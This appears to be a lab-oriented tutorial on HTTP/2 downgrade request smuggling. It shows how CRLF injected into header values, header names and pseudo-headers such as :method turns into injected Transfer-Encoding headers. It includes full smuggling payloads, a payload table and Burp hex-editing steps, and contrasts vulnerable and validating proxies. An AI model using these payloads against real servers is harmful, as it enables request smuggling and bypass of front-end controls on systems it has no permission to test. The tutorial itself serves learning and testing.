Beyond simple H2.CL and H2.TE attacks, more complex vulnerabilities arise from character handling differences between HTTP/1.1 and HTTP/2.
| Character | HTTP/1.1 | HTTP/2 |
|---|---|---|
\r\n (CRLF) |
Terminates header | No special meaning |
: (colon) |
Separates name:value | Allowed in values |
| Whitespace | Delimiter | Part of value |
The HTTP/2 RFC mandates validation:
Field names MUST NOT contain:
- Characters 0x00-0x20 (non-visible + space)
- Uppercase A-Z (0x41-0x5a)
- 0x7f-0xff
Field values MUST NOT contain:
- NUL (0x00)
- LF (0x0a)
- CR (0x0d)
If proxy doesn't validate → Injection possible!
Inject CRLF in header value to add new headers.
:method POST
:path /
:authority http2.htb
:scheme https
dummy asd\r\nTransfer-Encoding: chunked
0
GET /smuggled HTTP/1.1
Host: http2.htb
POST / HTTP/1.1
Host: http2.htb
Dummy: asd
Transfer-Encoding: chunked
Content-Length: 48
0
GET /smuggled HTTP/1.1
Host: http2.htb| HTTP/2 | HTTP/1.1 |
|---|---|
dummy: asd\r\nTransfer-Encoding: chunked |
Dummy: asd |
| (single header) | Transfer-Encoding: chunked |
| (two headers!) |
Result: H2.TE vulnerability created via header value injection.
Inject CRLF in header name to add new headers.
:method POST
:path /
:authority http2.htb
:scheme https
dummy: asd\r\nTransfer-Encoding chunked
0
GET /smuggled HTTP/1.1
Host: http2.htb
POST / HTTP/1.1
Host: http2.htb
Dummy: asd
Transfer-Encoding: chunked
Content-Length: 48
0
GET /smuggled HTTP/1.1
Host: http2.htb| HTTP/2 Header Name | HTTP/2 Value | HTTP/1.1 Result |
|---|---|---|
dummy: asd\r\nTransfer-Encoding |
chunked |
Dummy: asd |
Transfer-Encoding: chunked |
Result: Same H2.TE vulnerability, different injection point.
Inject into pseudo-headers (:method, :path, etc.) which may bypass validation.
- Treated differently than regular headers
- Validation checks may not apply
- Directly construct HTTP/1.1 request line
:method POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nDummy: asd
:path /
:authority http2.htb
:scheme https
0
GET /smuggled HTTP/1.1
Host: http2.htb
POST / HTTP/1.1
Transfer-Encoding: chunked
Dummy: asd / HTTP/1.1
Host: http2.htb
Content-Length: 48
0
GET /smuggled HTTP/1.1
Host: http2.htbThe :method value becomes the entire request line + injected headers:
:method value: "POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nDummy: asd"
↓
Request line: POST / HTTP/1.1
Header 1: Transfer-Encoding: chunked
Header 2: Dummy: asd / HTTP/1.1 (path appended here)
Result: H2.TE via pseudo-header injection.
| Injection Point | Target | Example Payload |
|---|---|---|
| Header Value | Regular header value | dummy: asd\r\nTE: chunked |
| Header Name | Regular header name | dummy: x\r\nTE + value chunked |
| :method | Pseudo-header | POST / HTTP/1.1\r\nTE: chunked\r\nX: y |
| :path | Pseudo-header | /\r\nTE: chunked\r\nX: y |
| :authority | Pseudo-header | host\r\nTE: chunked |
- Switch to Hex view in Repeater
- Find injection point
- Insert:
0d= CR (\r)0a= LF (\n)
Original: dummy: test
Hex edit: dummy: asd[0d][0a]Transfer-Encoding: chunked
- Open Inspector panel
- Expand Request Attributes
- Edit pseudo-header values directly
Test each injection point:
- Regular header values (CRLF injection)
- Regular header names (CRLF injection)
-
:methodpseudo-header -
:pathpseudo-header -
:authoritypseudo-header -
:schemepseudo-header
1. Receives HTTP/2 request
2. Does NOT validate for forbidden characters
3. Blindly rewrites to HTTP/1.1
4. CRLF gains special meaning → headers injected
1. Receives HTTP/2 request
2. Validates all headers per RFC
3. Rejects requests with CR/LF/NUL
4. No injection possible